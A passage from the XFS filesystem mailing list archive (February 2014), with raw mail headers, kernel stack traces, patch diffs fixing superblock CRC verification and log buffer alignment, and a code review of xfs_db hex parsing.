xfs_dir2_sfe_get_ino+0x1a/0x20 [xfs] >> [] ? xfs_dir2_sf_check.isra.7+0x114/0x1b0 [xfs] >> [] ? xfs_da_compname+0x1f/0x30 [xfs] >> [] ? xfs_dir2_sf_lookup+0x303/0x310 [xfs] >> [] xfs_dir2_sf_addname+0x348/0x6d0 [xfs] >> [] ? xfs_setup_inode+0x1cd/0x320 [xfs] >> [] xfs_dir_createname+0x184/0x1e0 [xfs] >> [] xfs_create+0x469/0x580 [xfs] >> [] xfs_vn_mknod+0xc4/0x1e0 [xfs] >> [] xfs_vn_create+0x13/0x20 [xfs] >> [] vfs_create+0x95/0xc0 >> [] do_last.isra.51+0x9f8/0x11f0 >> [] ? link_path_walk+0x81/0x870 >> [] path_openat+0xc9/0x620 >> [] ? put_dec+0x72/0x90 >> [] do_filp_open+0x4d/0xb0 >> [] file_open_name+0xfe/0x160 >> [] filp_open+0x44/0x60 >> [] do_coredump+0x602/0xf60 >> [] get_signal_to_deliver+0x2b8/0x6b0 >> [] do_signal+0x57/0x9d0 >> [] ? __acct_update_integrals+0x8e/0x120 >> [] ? __schedule+0x60/0x850 >> [] ? preempt_count_sub+0x6b/0xf0 >> [] ? _raw_spin_unlock+0x31/0x50 >> [] ? vtime_account_user+0x91/0xa0 >> [] ? context_tracking_user_exit+0x9b/0x100 >> [] do_notify_resume+0x5c/0xa0 >> [] retint_signal+0x46/0x90 > > There's nowhere in this XFS stack that disables interrupts, so I > thinks it's either above or below XFS that is causing this problem. any chance the stack got blown & corrupted things such that it only _looks_ like irqs are disabled? -Eric > Cheers, > > Dave. > From david@fromorbit.com Tue Feb 11 16:27:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 47F777F50 for ; Tue, 11 Feb 2014 16:27:34 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 37711304067 for ; Tue, 11 Feb 2014 14:27:31 -0800 (PST) X-ASG-Debug-ID: 1392157638-04cb6c6de02ba330001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id lyLNZU0KPb3ZIFlJ for ; Tue, 11 Feb 2014 14:27:19 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtsHAHGj+lJ5LJLw/2dsb2JhbABQCoMMuk+FT4EWF3SCJQEBBTocIxAIAxgJJQ8FJQMhE4gEyXUXFo4HXAeEOASYKYpPh1KDQSiBLiQ Received: from ppp121-44-146-240.lns20.syd7.internode.on.net (HELO dastard) ([121.44.146.240]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Feb 2014 08:57:18 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WDLnO-0007XC-QP; Wed, 12 Feb 2014 09:27:14 +1100 Date: Wed, 12 Feb 2014 09:27:14 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH 6/7] xfs: add xfs_verifier_error() Message-ID: <20140211222714.GN13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 6/7] xfs: add xfs_verifier_error() References: <52F99426.3010409@sandeen.net> <52F9957A.4050301@sandeen.net> <52FA7FEE.7040307@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52FA7FEE.7040307@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1392157639 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145035 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 11, 2014 at 01:54:22PM -0600, Eric Sandeen wrote: > On 2/10/14, 9:14 PM, Eric Sandeen wrote: > > We want to distinguish between corruption and CRC errors. > > In addition, the full stack trace on verifier errors > > seems less than helpful; it looks more like an oops than > > corruption. > > > > Create a new function to specifically alert the user to > > verifier errors, which can differentiate between > > EFSCORRUPTED and CRC mismatches. It doesn't dump stack > > unless the xfs error level is turned up high. > > > > Define a new error message (EFSBADCRC) to clearly identify > > CRC errors. (Defined to EILSEQ, bad byte sequence) > > So, this now looks like: > > [259116.148375] XFS (loop0): Metadata corruption detected at xfs_sb_read_verify+0x118/0x150 [xfs], block 0x0. Unmount and run xfs_repair > [259116.160345] ffff88022bab0000: 58 46 53 42 00 00 10 00 00 00 00 00 00 04 00 00 XFSB............ > [259116.169109] ffff88022bab0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ > [259116.177872] ffff88022bab0020: 73 df 07 64 a6 50 4d 5b 8d eb 2c 06 a1 ed e3 5c s..d.PM[..,....\ > [259116.186638] ffff88022bab0030: 00 00 00 00 00 02 00 04 00 00 00 00 00 00 00 80 ................ > [259116.195413] XFS (loop0): SB validate failed with error 117. > > when something fails. > > We should probably put a period after "xfs_repair" and also print > one more line about what the hex spew means - "XFS (loop0): first > 64 bytes of corrupted metadata buffer:" or something similar. Yeah, I think we need to split that long line, too. i.e: XFS (loop0): Metadata corruption detected at xfs_sb_read_verify+0x118/0x150 [xfs], block 0x0. XFS (loop0): Please unmount and run xfs_repair. XFS (loop0): First 64 bytes of corrupted metadata buffer contains: ffff88022bab0000: 58 46 53 42 00 00 10 00 00 00 00 00 00 04 00 00 XFSB............ ffff88022bab0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ffff88022bab0020: 73 df 07 64 a6 50 4d 5b 8d eb 2c 06 a1 ed e3 5c s..d.PM[..,....\ ffff88022bab0030: 00 00 00 00 00 02 00 04 00 00 00 00 00 00 00 80 ................ XFS (loop0): SB validate failed with error 117. Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@redhat.com Tue Feb 11 16:47:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0BCCF7F51 for ; Tue, 11 Feb 2014 16:47:02 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 92E49AC016 for ; Tue, 11 Feb 2014 14:46:58 -0800 (PST) X-ASG-Debug-ID: 1392158817-04cbb00c2a2afb40001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id R1c6FRw1PHXbB0eX for ; Tue, 11 Feb 2014 14:46:57 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1BMkvAR023302 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 11 Feb 2014 17:46:57 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1BMktva017857 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Tue, 11 Feb 2014 17:46:56 -0500 Message-ID: <52FAA85F.1060708@redhat.com> Date: Tue, 11 Feb 2014 16:46:55 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfs: xfs_sb_read_verify() doesn't flag bad crcs on primary sb X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfs: xfs_sb_read_verify() doesn't flag bad crcs on primary sb Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392158817 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 My earlier commit 10e6e65 deserves a layer or two of brown paper bags. The logic in that commit means that a CRC failure on the primary superblock will *never* result in an error return. Hopefully this fixes it, so that we always return the error if it's a primary superblock, otherwise only if the filesystem has CRCs enabled. Signed-off-by: Eric Sandeen --- diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index b7c9aea..5071ccb 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -614,7 +614,7 @@ xfs_sb_read_verify( if (!xfs_verify_cksum(bp->b_addr, be16_to_cpu(dsb->sb_sectsize), offsetof(struct xfs_sb, sb_crc))) { /* Only fail bad secondaries on a known V5 filesystem */ - if (bp->b_bn != XFS_SB_DADDR && + if (bp->b_bn == XFS_SB_DADDR || xfs_sb_version_hascrc(&mp->m_sb)) { error = EFSCORRUPTED; goto out_error; From tinguely@sgi.com Tue Feb 11 17:24:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4DFFE7F50 for ; Tue, 11 Feb 2014 17:24:15 -0600 (CST) Received: from eagdhcp-232-208.americas.sgi.com (eagdhcp-232-208.americas.sgi.com [128.162.232.208]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1C06C304032; Tue, 11 Feb 2014 15:24:11 -0800 (PST) Message-ID: <52FAB11E.2090803@sgi.com> Date: Tue, 11 Feb 2014 17:24:14 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: xfs-oss Subject: Re: [PATCH] xfs: xfs_sb_read_verify() doesn't flag bad crcs on primary sb References: <52FAA85F.1060708@redhat.com> In-Reply-To: <52FAA85F.1060708@redhat.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 02/11/14 16:46, Eric Sandeen wrote: > My earlier commit 10e6e65 deserves a layer or two of brown paper > bags. The logic in that commit means that a CRC failure on the > primary superblock will *never* result in an error return. > > Hopefully this fixes it, so that we always return the error > if it's a primary superblock, otherwise only if the filesystem > has CRCs enabled. > > Signed-off-by: Eric Sandeen > --- Augh, blame the reviewer who is always sdrawkcab:) Reviewed-by: Mark Tinguely From mlsemon35@gmail.com Tue Feb 11 18:15:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EA9507F50 for ; Tue, 11 Feb 2014 18:15:58 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 86816AC013 for ; Tue, 11 Feb 2014 16:15:58 -0800 (PST) X-ASG-Debug-ID: 1392164153-04bdf0121d2e00c0001-NocioJ Received: from mail-ob0-f177.google.com (mail-ob0-f177.google.com [209.85.214.177]) by cuda.sgi.com with ESMTP id jvq3nCbB3GpkakjZ (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 11 Feb 2014 16:15:54 -0800 (PST) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.177 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.177] Received: by mail-ob0-f177.google.com with SMTP id wp18so9711749obc.36 for ; Tue, 11 Feb 2014 16:15:53 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.177] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.177] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:in-reply-to:message-id:references :user-agent:mime-version:content-type; bh=T7cMo7+RGwD7Bps120Rnx+foME9gxZq+TEVreOzLsFY=; b=GLp6XFsjwc377nTDTRqSZubs+eCrOLcpCV8TNZs3sYl3bDIHlbmKmpaktnI//m0WaF p+ZC9wD/tiQ6n3xBxTR9MukU28qR9hhoVyXvKH7ayfsgHlt7dyow+FRdzpT8TngX2o0F efTbjd5GjZtI2ss2ex9/BLr9PRFhNw5agaWZ0wQeFVFUGIBjp9cZwQHu36CGcoG1U4+t ilptrwF3dlUoMsqQPextwSvR/+x7QcRguCi7wEIZnMWUnpmSnPfiR0RyCue4sh4NfVMe MeN3/XouzQPUVdZjJ0Ernm7ircXzEnpQMuzxJiomGNHgUuMe3/dfr4wbG5SgJq8Zd+ce IFmg== X-Received: by 10.60.174.167 with SMTP id bt7mr3983366oec.54.1392164153273; Tue, 11 Feb 2014 16:15:53 -0800 (PST) Received: from bpserver.ds (rrcs-97-79-21-178.se.biz.rr.com. [97.79.21.178]) by mx.google.com with ESMTPSA id ii8sm48293306obb.11.2014.02.11.16.15.52 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 11 Feb 2014 16:15:52 -0800 (PST) Date: Tue, 11 Feb 2014 19:15:47 -0500 (EST) From: "Michael L. Semon" To: Dave Chinner cc: "Michael L. Semon" , xfs-oss Subject: Re: [NOISE] merge window blues, XFS broken In-Reply-To: <20140128095559.GJ2212@dastard> X-ASG-Orig-Subj: Re: [NOISE] merge window blues, XFS broken Message-ID: References: <52E56386.5040802@gmail.com> <20140127015614.GD2212@dastard> <52E62ADA.2040800@gmail.com> <20140127233039.GF2212@dastard> <52E768CF.5040908@gmail.com> <20140128095559.GJ2212@dastard> User-Agent: Alpine 2.11 (LNX 23 2013-08-11) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Barracuda-Connect: mail-ob0-f177.google.com[209.85.214.177] X-Barracuda-Start-Time: 1392164154 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145038 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, 28 Jan 2014, Dave Chinner wrote: > On Tue, Jan 28, 2014 at 03:22:39AM -0500, Michael L. Semon wrote: >> On 01/27/2014 06:30 PM, Dave Chinner wrote: >>> On Mon, Jan 27, 2014 at 04:46:02AM -0500, Michael L. Semon wrote: >>>> root@plbearer:~# ls $TEST_DIR/ >>>> >>>> [ 94.140207] XFS: Assertion failed: IS_ALIGNED((unsigned long)vec->i_addr, sizeof(uint64_t)), file: fs/xfs/xfs_log.h, line: 49 >>>> >>>> Entering kdb (current=0xc5298c30, pid 297) Oops: (null) >>>> due to oops @ 0x791752c5 >>>> CPU: 0 PID: 297 Comm: ls Not tainted 3.13.0+ #1 >>>> Hardware name: Dell Computer Corporation Dimension 2350/07W080, BIOS A01 12/17/2002 >>>> task: c5298c30 ti: c520e000 task.ti: c520e000 >>>> EIP: 0060:[<791752c5>] EFLAGS: 00010286 CPU: 0 >>>> EIP is at assfail+0x2b/0x2d >>>> EAX: 00000071 EBX: c60ba600 ECX: 00000296 EDX: c5299098 >>>> ESI: c60ba61c EDI: c60ba600 EBP: c520fe40 ESP: c520fe2c >>>> DS: 007b ES: 007b FS: 0000 GS: 0033 SS: 0068 >>>> CR0: 80050033 CR2: 08f1612c CR3: 4d1f0000 CR4: 000007d0 >>>> Stack: >>>> 00000000 79570bc8 79576e28 7956946d 00000031 c520fe70 791ce45f c520fe70 >>>> 7917ceb0 c520fec4 c50d5068 c520fe70 c55d8000 00000000 c50d5068 c607ae30 >>>> c60ba600 c520fed4 791cb72b c607af80 c6c01e80 000000d8 c4294000 c520feec >>>> Call Trace: >>>> [<791ce45f>] xfs_inode_item_format+0x4a/0x1c5 >>> >>> It's not clear to me that there's anything wrong with the inode log >>> item structure, so I need to know what iovec we tripped over here. >>> Can you post the disassembly of this function so we can see which >>> call to xlog_prepare_iovec tripped the assert? i.e.: > ..... >> OK, I had to generate a new crash for this, so pardon the dust: > > Actually, you don't ned to crash a kernel to do this. Just run > 'gdb vmlinux' from your build directory.... > >> crash> gdb disass /m xfs_inode_item_format >> Dump of assembler code for function xfs_inode_item_format: >> 367 { >> 0x791ce415 <+0>: push %ebp >> 0x791ce416 <+1>: mov %esp,%ebp >> 0x791ce418 <+3>: push %edi >> 0x791ce419 <+4>: push %esi >> 0x791ce41a <+5>: push %ebx >> 0x791ce41b <+6>: sub $0x1c,%esp >> 0x791ce41e <+9>: lea %ds:0x0(%esi,%eiz,1),%esi >> 0x791ce423 <+14>: mov %eax,-0x1c(%ebp) >> 0x791ce426 <+17>: mov %edx,%ebx >> >> 368 struct xfs_inode_log_item *iip = INODE_ITEM(lip); >> 369 struct xfs_inode *ip = iip->ili_inode; >> 0x791ce428 <+19>: mov 0x44(%eax),%eax >> 0x791ce42b <+22>: mov %eax,-0x14(%ebp) >> >> 370 struct xfs_inode_log_format *ilf; >> 371 struct xfs_log_iovec *vecp = NULL; >> 0x791ce42e <+25>: movl $0x0,-0x10(%ebp) >> >> 372 >> 373 ilf = xlog_prepare_iovec(lv, &vecp, XLOG_REG_TYPE_IFORMAT); >> 374 ilf->ilf_type = XFS_LI_INODE; >> 0x791ce464 <+79>: movw $0x123b,(%esi) > > Ok, so xfs_inode_item_format+0x4a is inside the very first call to > preapre the ilf structure. That tells us that the initial > xfs_log_vec/xfs_log_iovec array are resulting in an unaligned > buffer. > > Can you try the patch below, Michael? This patch still works fine. This reply is only in hopes that the patch doesn't get lost for being in a subthread of a [NOISE] post. I'm having to use this patch quite a bit in order to use XFS at all on 32-bit x86. Note that I'm questioning some of the results I'm getting from git, so I both upgraded git and reworked my kernel git clone. Should this issue go away as a result, I'll post it long before 3.14.0 is released. [I'm not understanding why `git merge xfs-oss/master` is consistently "Already up-to-date", or why a span of 12 commits in `git log` takes 13 steps and 3100 revisions to bisect. It could all be OK, but...] Thanks! Michael > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > > xfs: ensure correct log item buffer alignment > > From: Dave Chinner > > On 32 bit platforms, the log item vector headers are not 64 bit > aligned or sized. hence if we don't take care to align them > correctly or pad the buffer appropriately for 8 byte alignment, we > can end up with alignment issues when accessing the user buffer > directly as a structure. > > To solve this, simply pad the buffer headers to 64 bit offset so > that the data section is always 8 byte aligned. > > Signed-off-by: Dave Chinner > --- > fs/xfs/xfs_log_cil.c | 19 +++++++++++++++---- > 1 file changed, 15 insertions(+), 4 deletions(-) > > diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c > index cdebd83..4ef6fdb 100644 > --- a/fs/xfs/xfs_log_cil.c > +++ b/fs/xfs/xfs_log_cil.c > @@ -205,16 +205,25 @@ xlog_cil_insert_format_items( > /* > * We 64-bit align the length of each iovec so that the start > * of the next one is naturally aligned. We'll need to > - * account for that slack space here. > + * account for that slack space here. Then round nbytes up > + * to 64-bit alignment so that the initial buffer alignment is > + * easy to calculate and verify. > */ > nbytes += niovecs * sizeof(uint64_t); > + nbytes = round_up(nbytes, sizeof(uint64_t)); > > /* grab the old item if it exists for reservation accounting */ > old_lv = lip->li_lv; > > - /* calc buffer size */ > - buf_size = sizeof(struct xfs_log_vec) + nbytes + > - niovecs * sizeof(struct xfs_log_iovec); > + /* > + * The data buffer needs to start 64-bit aligned, so round up > + * that space to ensure we can align it appropriately and not > + * overrun the buffer. > + */ > + buf_size = nbytes + > + round_up((sizeof(struct xfs_log_vec) + > + niovecs * sizeof(struct xfs_log_iovec)), > + sizeof(uint64_t)); > > /* compare to existing item size */ > if (lip->li_lv && buf_size <= lip->li_lv->lv_size) { > @@ -251,6 +260,8 @@ xlog_cil_insert_format_items( > /* The allocated data region lies beyond the iovec region */ > lv->lv_buf_len = 0; > lv->lv_buf = (char *)lv + buf_size - nbytes; > + ASSERT(IS_ALIGNED((unsigned long)lv->lv_buf, sizeof(uint64_t))); > + > lip->li_ops->iop_format(lip, lv); > insert: > ASSERT(lv->lv_buf_len <= nbytes); > From david@fromorbit.com Tue Feb 11 18:22:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2A1137F50 for ; Tue, 11 Feb 2014 18:22:48 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2243D8F8064 for ; Tue, 11 Feb 2014 16:22:45 -0800 (PST) X-ASG-Debug-ID: 1392164561-04cb6c6de12c24f0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id HdHvc6T5pdRD0NVK for ; Tue, 11 Feb 2014 16:22:42 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtsHAHS++lJ5LJLw/2dsb2JhbABagwy6VYVPgRUXdIIlAQEEATocIwULCAMYCSUPBSUDIROHfQfJfxcWjmMHhDgEmCmKT4dSg0Eo Received: from ppp121-44-146-240.lns20.syd7.internode.on.net (HELO dastard) ([121.44.146.240]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Feb 2014 10:52:24 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WDNao-0007jK-5d; Wed, 12 Feb 2014 11:22:22 +1100 Date: Wed, 12 Feb 2014 11:22:22 +1100 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2] xfs_db: fix the setting of unaligned directory fields Message-ID: <20140212002222.GO13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v2] xfs_db: fix the setting of unaligned directory fields References: <20140210230923.268327906@sgi.com> <20140211013145.GA13647@dastard> <52FA3141.20901@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52FA3141.20901@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1392164561 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145038 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 11, 2014 at 08:18:41AM -0600, Mark Tinguely wrote: > On 02/10/14 19:31, Dave Chinner wrote: > >On Mon, Feb 10, 2014 at 05:09:12PM -0600, Mark Tinguely wrote: > > > > >>> + * Values larger than 64 bits are array of hex digits that > >>> + * already in the desired ordering (example UUID). > >>> */ > >>> - *value = strtoll(arg, NULL, 0); > >>> + if (bit_length > 64) > >>> + return buf; > >I don't understand why you added this - how can we have input left > >that we need to parse after the above loop? @bytes will always be<= > >0 at this point in time, which means we have no space in the bit > >field left to put values into.... > > The comment explains the return. If the comment answered my question then I wouldn't have asked it. > If the input bit_length is bigger than 64 bit then it is an array of > hex numbers (for example UUID can be entered this way). Yes, I know that. > buf is the beginning of the allocated array before rbuf pointer put > nibbles into it. So this returns the beginning of the hex bytes. Yes, I know that, too. > If this return is not taken then it is 64 bits or less and is some > kind of integer. The integer will get its fields fixed and converted > to big endian.... Oh, now I understand what you've done - you've changed the definition of what a hex block contains. A hex block is a hex-encoded binary format - it is just an array of bytes. What you've changed is that you now define a hex block of less than 64 bits to encode a host-endian format integer. That's what you comment didn't explain and what confused me - why we should be bit shifting or endian converting a raw data encoding. For example, if I want to write 4 bytes of hex data to a field, then I use "#12345678" to do it. When I dump the raw contents of that field, I expect to see four bytes in big endian format in that field: 12 34 56 78. When I print the structure value, I expect to see the host-endian conversion of that raw data, not the on-disk encoded value. IOWs, we do not want small hex block arrays to be interpretted as a host endian integer - if you need to enter an integer value in host endian then use "0x12345678". i.e. hex blocks are not integers. i.e. xfs_db> write lsn #12345678 lsn = 0x78563412 xfs_db> write lsn 0x12345678 lsn = 0x12345678 The above behaviour is correct and expected on a little endian host. Having them both result in "lsn = 0x12345678" is not the correct or desired behaviour. I didn't pick this up when looking that the tst you wrote, but it's now obvious: +$XFS_DB_PROG -x -c "inode $FILE_INO" -c "write core.gen #185a" $SCRATCH_DEV +$XFS_DB_PROG -x -c "inode $FILE_INO" -c "write core.gen #a518" $SCRATCH_DEV ... +core.gen = 6234 +core.gen = 42264 This is how a little endian host should behave: xfs_db> write core.gen 0xa518 core.gen = 42264 xfs_db> write core.gen #a518 core.gen = 6309 xfs_db> write core.gen 0x18a5 core.gen = 6309 xfs_db> write core.gen #18a5 core.gen = 42264 So, back to my original question, now I undersand what you've done, which was "how does hexblock data on unaligned bit_length fields work?". The code ends up like this: int bytes = bit_length / NBBY; while (*arg && bytes--) { ..... } if (bytes < 0 && *arg) return NULL; /* * Values larger than 64 bits are array of hex digits that * already in the desired ordering (example UUID). */ if (bit_length > 64) return buf; } else { .... } /* do integer parsing */ ...... Let's say bit length is 1 (e.g. unwritten extent flag) and we pass a value of "#1". That gives us bytes = 0 as the initial condition. This: while (*arg && bytes--) sees *arg != NULL and bytes = 0 so it doesn't run the loop and then post-decrements bytes Now we have bytes = -1 and *arg != 0. So we return NULL instead of parsing the byte. The same thing will happen with any unaligned bit field that needs the high byte set via this code as it will fail to parse the last character of the input. IOWs, using hexblock format on unaligned bitfields does not work properly. In fact, it's never been supported, as hex blocks were never intended to be used that way. i.e. the use for a hexblock when writting an extent record to to write the entire record as a binary value, not to write individual elements as integer values.... Hence I'd suggest that "if (bit_field & NBBY) return NULL;" is appropriate for hex block format input, and the input should never be treated as a host-endian integer... Cheers, Dave. -- Dave Chinner david@fromorbit.com From davej@redhat.com Tue Feb 11 18:44:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B99057F50 for ; Tue, 11 Feb 2014 18:44:15 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4EFCEAC003 for ; Tue, 11 Feb 2014 16:44:15 -0800 (PST) X-ASG-Debug-ID: 1392165854-04bdf012202e1c30001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 7xbG9IYC5tzZWghH for ; Tue, 11 Feb 2014 16:44:14 -0800 (PST) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com 